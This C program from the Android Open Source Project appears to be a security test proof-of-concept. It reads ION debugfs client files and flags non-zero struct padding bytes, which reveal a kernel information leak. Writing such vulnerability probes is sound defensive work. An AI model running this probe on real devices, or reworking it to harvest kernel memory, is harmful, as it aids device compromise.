1 /** 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 #define _GNU_SOURCE 18 #include <string.h> 19 #include <errno.h> 20 #include <fcntl.h> 21 #include <pthread.h> 22 #include <sched.h> 23 #include <signal.h> 24 #include <stdio.h> 25 #include <stdlib.h> 26 #include <string.h> 27 #include <sys/ioctl.h> 28 #include <sys/mman.h> 29 #include <sys/stat.h> 30 #include <sys/types.h> 31 #include <unistd.h> 32 // for syscall 33 #include <sys/syscall.h> 34 // for futex 35 #include <linux/futex.h> 36 #include <sys/time.h> 37 // for opendir / readdir 38 #include <dirent.h> 39 40 #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__) 41 #define ERR(fmt, ...) \ 42 printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno)) 43 #define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0])) 44 45 static int set_affinity(int num) { 46 int ret = 0; 47 cpu_set_t mask; 48 CPU_ZERO(&mask); 49 CPU_SET(num, &mask); 50 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); 51 if (ret == -1) { 52 ERR("[-] set affinity failed"); 53 } 54 return ret; 55 } 56 57 struct ion_debugfs_handle_header { 58 unsigned int version; 59 }; 60 61 struct ion_debugfs_handle_entry { 62 unsigned int heap_id; 63 size_t size; 64 unsigned int flags; 65 unsigned int handle_count; 66 size_t mapped_size; 67 }; 68 69 struct ion_debugfs_handle { 70 struct ion_debugfs_handle_header hdr; 71 struct ion_debugfs_handle_entry entry; 72 }; 73 74 #define TARGET "/sys/kernel/debug/ion/clients/pids/" 75 int main(int argc, char *argv[]) { 76 int i, j, ret, tmpfd; 77 ssize_t rr; 78 char buf[PAGE_SIZE] = {0}, *p; 79 DIR *dir; 80 struct dirent *ent; 81 struct ion_debugfs_handle_header hdr = {0}; 82 struct ion_debugfs_handle_entry entry = {0}; 83 struct ion_debugfs_handle handle = {0}; 84 85 /* bind_cpu */ 86 set_affinity(0); 87 88 dir = opendir(TARGET); 89 if (dir == NULL) { 90 ERR("[-] opendir %s failed", TARGET); 91 return -1; 92 } 93 94 while (ent = readdir(dir)) { 95 if (ent->d_type != DT_REG) { 96 continue; 97 } 98 99 memset(buf, 0, PAGE_SIZE); 100 snprintf(buf, PAGE_SIZE, "%s%s", TARGET, ent->d_name); 101 102 tmpfd = open(buf, O_RDWR); 103 104 if (tmpfd == -1) { 105 continue; 106 } 107 108 rr = read(tmpfd, &hdr, sizeof(hdr)); 109 110 for (;;) { 111 rr = read(tmpfd, &entry, sizeof(entry)); 112 if (rr == 0) { 113 break; 114 } 115 116 if (rr != sizeof(entry)) { 117 break; 118 } 119 120 p = (char *)&entry; 121 p += sizeof(int); 122 for (i = 0; i < sizeof(int); i++) { 123 if(p[i] != 0) { 124 printf("INFO DISC FLAG; "); 125 for (j = 0; j < sizeof(int); j++) { 126 printf("%x", p[j]); 127 } 128 break; 129 } 130 } 131 } 132 close(tmpfd); 133 } 134 closedir(dir); 135 return 0; 136 } 137
